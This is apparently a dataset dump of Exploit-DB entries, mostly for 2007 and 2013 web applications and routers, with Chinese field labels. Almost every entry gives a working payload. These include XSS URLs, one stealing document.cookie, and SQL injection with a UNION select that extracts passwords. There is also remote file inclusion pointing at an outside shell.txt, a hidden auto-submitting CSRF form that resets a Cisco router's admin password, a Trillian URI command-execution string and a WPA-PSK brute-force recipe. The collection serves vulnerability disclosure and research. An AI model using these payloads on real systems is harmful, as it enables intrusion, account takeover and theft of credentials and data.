QLWD/code_shield huggingface dataset:
标题: Alstrasoft Sms Text Messaging Enterprise 2.0 - '/admin/edituser.php?userid' Cross-Site Scripting EDB-ID: 30368 CVE: 2007-4079 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25022/info
 
SMS Text Messaging Enterprise is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/admin/edituser.php?userid=Walltrapas"><script>alert()</script> URL: https://www.exploit-db.com/exploits/30368
标题: Alstrasoft Affiliate Network Pro 8.0 - 'temp.php' Cross-Site Scripting EDB-ID: 30370 CVE: 2007-4081 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25026/info
 
AlstraSoft Affiliate Network Pro is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting isues and SQL-injection issues.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/affiliate/merchants/temp.php?rowid= 5"><script>alert()</script> URL: https://www.exploit-db.com/exploits/30370
标题: Alstrasoft Affiliate Network Pro 8.0 - 'index.php' Cross-Site Scripting EDB-ID: 30369 CVE: 2007-4081 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25026/info

AlstraSoft Affiliate Network Pro is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting isues and SQL-injection issues.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/affiliate/merchants/index.php?
Act=programedit&mode=edit&id=42"><script>alert()</script>

http://www.example.com/affiliate/merchants/index.php?Act=
programedit&mode=edit&id=42&msg=Program%20Edited%20Success
fully"><script>alert()</script>

http://www.example.com/affiliate/merchants/index.php?Act= ProgramReport&programs=All&err=Please%20Enter%20Valid%20Date "><script>alert()</script>

http://www.example.com/affiliate/merchants/index.php?Act= add_money&msg=Please%20Enter%20A%20valid%20amount"><script>alert()</script> &modofpay=Authorize.net&bankname=&bankno=& bankemail=&bankaccount=&payableto=&minimumcheck=&affiliateid= URL: https://www.exploit-db.com/exploits/30369
标题: UPC Ireland Cisco EPC 2425 Router / Horizon Box - WPA-PSK Handshake Information EDB-ID: 30358 CVE: 2013-7136 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-12-16 漏洞利用脚本: # Exploit Title: UPC Ireland Cisco EPC 2425 Router / Horizon Box
# Google Dork: 
# Date: 11/12/2013
# Author: Matt O'Connor / Planit Computing
# Advisory Link:  http://www.planitcomputing.ie/upc-wifi-attack.pdf 
# Version: 
# Category: Remote
# Tested on: Cisco EPC 2425 / Horizon Box



The Cisco EPC 2425 routers supplied by UPC are vulnerable to an offline dictionary attack if the WPA-PSK handshake is obtained by an attacker.
 
The WPA-PSK pass phrase has the following features:
 Random
 A to Z Uppercase only
 8 characters long
 208,827,064,576 possible combinations ( AAAAAAAA  ZZZZZZZZ ) 26^8
 
We notified UPC about the problem in November 2011 yet UPC are still supplying customers with newer modems / horizon boxes that use this algorithm.
At the time, graphics cards were expensive and clustering several machines was not financially viable to the average hacker.

We recently purchased a used rig, comprising off:
 Windows 7
 I3 Processor
 4GB RAM
 2TB Drive
 Radeon HD 5850


We generated 26 dictionary files using mask processor by ATOM, piping each letter out to its own file, for example:

A:  ./mp32 A?u?u?u?u?u?u?u > A.TXT = AAAAAAAA  AZZZZZZZ
B: ./mp32 B?u?u?u?u?u?u?u > B.TXT = BAAAAAAA  BZZZZZZZ
etc

Each .txt file weighed in at around 60GBs each.  The 26 files took up about 1.6TB of storage.

We now had the complete key space, partitioned into 26 different files.  This allowed us to distribute the brute force attack amongst multiple computers.  There are other ways with ocl-hashcat but this was the simplest.

Using our Radeon HD5850 on standard settings, we were hitting 80,000 keys per second.  Breakdown below:

 26^8 = 208,827,064,576 ( 208 billion possible combinations )
 26^8 / 80,000 keys per second = 2,610,338 seconds
 2,610,338 / 60 seconds = 43,505 minutes
 43,505 / 60 minutes = 725 hours
 725 hours / 24 hours = 30 Days

For 185, we had built a computer that could crack the default UPC wireless password within 30 days.  The WPA-PSK handshake we used started with the letter D and was cracked within 96 hours.

We ended up getting a second machine for the same price which resulted in our maximum cracking time being reduced to 15 days.

If youre using the default password on your UPC broadband connection, we recommend changing it immediately to a more secure password, using a mix of letters, numbers and symbols. URL: https://www.exploit-db.com/exploits/30358
标题: Ability Mail Server 2013 3.1.1 - Web UI Persistent Cross-Site Scripting EDB-ID: 30373 CVE: 2013-6162 类型: REMOTE 平台: WINDOWS 发布日期: 2013-12-17 漏洞利用脚本: #!/usr/bin/env python

'''
Exploit Title: Ability Mail Server 2013 Stored XSS
Date: 12/20/2013
Exploit Author: David Um
Vendor Homepage: http://www.code-crafters.com/
Software Link: http://download.code-crafters.com/ams.exe
Version: 3.1.1
Tested on: Windows Server 2003 SP2
CVE : CVE-2013-6162
Description: This proof of concept demonstrates a stored XSS vulnerability in e-mail clients when JavaScript is inserted into the body of an e-mail.
'''

import smtplib

email_addr = 'user@hack.local'

email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'
s = smtplib.SMTP('192.168.58.140', 25)

s.login(email_addr, "user")
s.sendmail(email_addr, email_addr, email)
s.quit() URL: https://www.exploit-db.com/exploits/30373
标题: Cisco EPC3925 - Cross-Site Request Forgery EDB-ID: 30362 CVE: 2013-6976 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-12-16 漏洞利用脚本: #######################################################################
# Exploit Title: Cisco EPC3925 � Cross Site Request Forgery
# Google Dork: N/A
# Date: 12-11-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage: http://www.cisco.com 
# Software Link: Not public
# Version: epc3925-E10-5-v302r125572-130520c
# Tested on: Cisco EPC3925 
# CVE: N/A
#######################################################################
# Description:
# 
# This proof of concept demonstrates that the admin password can be 
# changed by an attacker in a CSRF attack. However, it seems like any
# setting in the device can be manipulated using an attack like this.
#
#
# Side note: The device does not ask for the current password.
#            
#
# Location:
#
# POST http://[target]/goform/Quick_setup
#
# Parameters:
#
# Password=&PasswordReEnter=&save=Save+Settings
#
# PoC: 
#
# <html>
#
# <form name="reseller" method="POST"
action="http://[target]/goform/Quick_setup" id="csrf_attack"
target="csrf_iframe">
#   <input type="hidden" name="Password" value="attackers_password">
#   <input type="hidden" name="PasswordReEnter" value="attackers_password">
#   <input type="hidden" name="save" value="Save Settings">
# </form>
#
# <iframe id="csrf_iframe" style="visibility:hidden;display:none"></iframe>
#
# <script>
#  document.getElementById('csrf_attack').submit();
# </script>
# <center>The payload has been executed....</center>
#
# </html> 
#
# Check out the video at: http://www.nerdbox.it/cisco-epc3925-csrf-vulnerability/ URL: https://www.exploit-db.com/exploits/30362
标题: Alstrasoft Sms Text Messaging Enterprise 2.0 - '/admin/membersearch.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30367 CVE: 2007-4079 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25022/info

SMS Text Messaging Enterprise is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/admin/membersearch.php?pagina=17&q=la&domain=Walltrapas.es%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E
http://www.example.com/admin/membersearch.php?q=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&B1=Submit URL: https://www.exploit-db.com/exploits/30367
标题: Alstrasoft Affiliate Network Pro 8.0 - 'pgmid' SQL Injection EDB-ID: 30371 CVE: 2007-4084 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25026/info
  
AlstraSoft Affiliate Network Pro is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting isues and SQL-injection issues.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/affiliate/merchants/index.php?Act= uploadProducts&pgmid=41%20or%201=1 URL: https://www.exploit-db.com/exploits/30371
标题: Wallpaper Script 3.5.0082 - Persistent Cross-Site Scripting EDB-ID: 30356 CVE: 2013-7274 类型: WEBAPPS 平台: PHP 发布日期: 2013-12-16 漏洞利用脚本: [~] Exploit Title : Wallpaper Script Stored XSS Vulnerability
[~] D0rk Google : 
[~] Author : nullp0int3r (0x00p0int3r@gmail.com)
[~] Version : 3.5.0082
[~] Date : 2013-12-14
[~] Vendor Homepage: http://www.wallpaperscript.com/
[~] Test on : Windows


Exploitation:
1) Register and log on as a regular member
2) Click on "Add Wallpaper"
3) Write in the title field: </title><script>alert("XSS")</script>
4) Fill other fields and choose a photo and click on "Save"
5) Go to "My Wallpapers"
6) Select your uploaded photo

Thanks:
Enddo
Far3nh3it URL: https://www.exploit-db.com/exploits/30356
标题: Alisveris Sitesi Scripti - 'index.asp' SQL Injection EDB-ID: 30328 CVE: 2007-4076 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25005/info

Alisveris Sitesi Scripti is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/?menukat=2%20&mod=product&cat_id=7&product_id=[SQL]
http://www.example.com/?menukat=2%20&mod=product&cat_id=[SQL] URL: https://www.exploit-db.com/exploits/30328
标题: Alisveris Sitesi Scripti - 'index.asp' Cross-Site Scripting EDB-ID: 30330 CVE: 2007-4075 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25007/info

Alisveris Sitesi Scripti is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/?mod=search&type=simple&q=[XSS] URL: https://www.exploit-db.com/exploits/30330
标题: UseBB 1.0.7 - '/install/upgrade-0-3.php?PHP_SELF' Cross-Site Scripting EDB-ID: 30324 CVE: 2007-3963 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24990/info
 
UseBB is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
UseBB 1.0.7 is vulnerable to these issues. 

http://www.example.com/UseBB/install/upgrade-0-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt> URL: https://www.exploit-db.com/exploits/30324
标题: UseBB 1.0.7 - '/install/upgrade-0-2-3.php?PHP_SELF' Cross-Site Scripting EDB-ID: 30323 CVE: 2007-3963 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24990/info

UseBB is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

UseBB 1.0.7 is vulnerable to these issues. 

http://www.example.com/UseBB/install/upgrade-0-2-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt> URL: https://www.exploit-db.com/exploits/30323
标题: ASP cvmatik 1.1 - Multiple HTML Injection Vulnerabilities EDB-ID: 30331 CVE: 2007-3991 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25008/info

Asp cvmatik is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Asp cvmatik 1.1 is vulnerable. 

<html><head></head><body>1-http://www.example.com/cv.asp

You write xss code in  page's text box

Adý <script>alert("G3");</script>
or
Soyadý<script>alert("G3");</script>
or
Ehliyet  <script>alert("G3");</script>
or
Askerlik    <script>alert("G3");</script>
or
GSM   <script>alert("G3");</script>
etc...

Press to "tamam"(ok) button.

2-next page

</body></html> URL: https://www.exploit-db.com/exploits/30331
标题: GeoBlog MOD_1.0 - 'deletecomment.php?id' Arbitrary Comment Deletion EDB-ID: 30320 CVE: 2007-4047 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/24966/info

geoBlog is prone to multiple security-bypass vulnerabilities because the application fails to properly validate users when deleting user blogs and comments.

An attacker may exploit these issues to delete blogs and comments regardless of the security settings. This may aid the attacker in further attacks.

geoBlog v1 is vulnerable to these issues. 

http://www.example.com/blog/admin/deletecomment.php?id=16 URL: https://www.exploit-db.com/exploits/30320
标题: GeoBlog MOD_1.0 - 'deleteblog.php?id' Arbitrary Blog Deletion EDB-ID: 30321 CVE: 2007-4047 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/24966/info
 
geoBlog is prone to multiple security-bypass vulnerabilities because the application fails to properly validate users when deleting user blogs and comments.
 
An attacker may exploit these issues to delete blogs and comments regardless of the security settings. This may aid the attacker in further attacks.
 
geoBlog v1 is vulnerable to these issues. 

http://www.example.com/blog/admin/deleteblog.php?id=15 URL: https://www.exploit-db.com/exploits/30321
标题: Dora Emlak 1.0 Script - Multiple Input Validation Vulnerabilities EDB-ID: 30327 CVE: 2007-3989 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25004/info

Dora Emlak Script is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, steal cookie-based authentication credentials, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dora Emlak Script v1.0 is vulnerable.

<html><head></head><body>1-http://www.example.com/dora/default.asp?goster=iletisim

You write xss code in  page's text box

Adý <script>alert("G3");</script>
Soyadý<script>alert("G3");</script>
Mail Adresiniz   <script>alert("G3");</script>
Konu     <script>alert("G3");</script>
Mesajý <script>alert("G3");</script>

Press to "gör"(send) button.

http://www.example.com//dora/default.asp?goster=emlakdetay&id= [SQL]
</body></html> URL: https://www.exploit-db.com/exploits/30327
标题: Image Racer - 'searchresults.asp' SQL Injection EDB-ID: 30332 CVE: 2007-3987 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25010/info

Image Racer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Image Racer 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/SearchResults.asp?SearchWord=[SQLCOMMAND]&WordSearchCrit=Yes&image.x=0&image.y=0 URL: https://www.exploit-db.com/exploits/30332
标题: husrevforum 1.0.1/2.0.1 - 'Philboard_forum.asp' SQL Injection EDB-ID: 30316 CVE: 2007-3884 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/24928/info

The 'husrevforum' program is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects husrevforum v 1.0.1 (tr); other versions may be affected as well. 

http://www.example.com//script_path/philboard_forum.asp?forumid=-1+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users URL: https://www.exploit-db.com/exploits/30316
标题: Dating Gold 3.0.5 - 'footer.php?int_path' Remote File Inclusion EDB-ID: 30302 CVE: 2007-3792 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/24910/info
 
AzDG Dating Gold is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
 
AzDG Dating Gold 3.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/templates/footer.php?int_path=http://www.example2.com/shell.txt?cmd URL: https://www.exploit-db.com/exploits/30302
标题: Insanely Simple Blog 0.4/0.5 - Cross-Site Scripting EDB-ID: 30318 CVE: 2007-3888 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/24934/info
 
Insanely Simple Blog is prone to multiple input-validation vulnerabilities, including cross-site scripting, HTML-injection, and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, steal cookie-based authentication credentials, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Insanely Simple Blog 0.5 and prior versions are vulnerable. 

<B onmousemver="javascript:alert('lol')">Pizza pie</B>
<OL onmouseover="alert('lol')">I like it</OL> URL: https://www.exploit-db.com/exploits/30318
标题: Citadel WebCit 7.02/7.10 - 'showuser?who' Cross-Site Scripting EDB-ID: 30312 CVE: 2007-3822 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/24913/info

Citadel WebCit is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to WebCit 7.11 are vulnerable. 

http://www.example.com/showuser?who=[xss] URL: https://www.exploit-db.com/exploits/30312
标题: Dating Gold 3.0.5 - 'secure.admin.php?int_path' Remote File Inclusion EDB-ID: 30303 CVE: 2007-3792 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/24910/info
  
AzDG Dating Gold is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
  
AzDG Dating Gold 3.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/templates/secure.admin.php?int_path=http://www.example2.com/shell.txt?cmd URL: https://www.exploit-db.com/exploits/30303
标题: Trillian 3.1.6.0 - URI Handler Remote Code Execution EDB-ID: 30315 CVE: 2007-3832 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/24927/info

Trillian is prone to remote command- and code-execution vulnerabilities because the application fails to properly handle user-supplied input via a registered URI.

Successfully exploiting these issues allows attackers to execute arbitrary commands or code in the context of the affected application. 

aim:%20&c:/windows/system32/calc.exe%22%20ini=%22C:/Documents%20and%20Settings/All%20Users/Start%20Menu/Programs/Startup/pwnd.bat%22

aim:/#1111111/11111111111111111111111111111111111111111111111111111111111112222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222226666666AAAABBBB6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666 URL: https://www.exploit-db.com/exploits/30315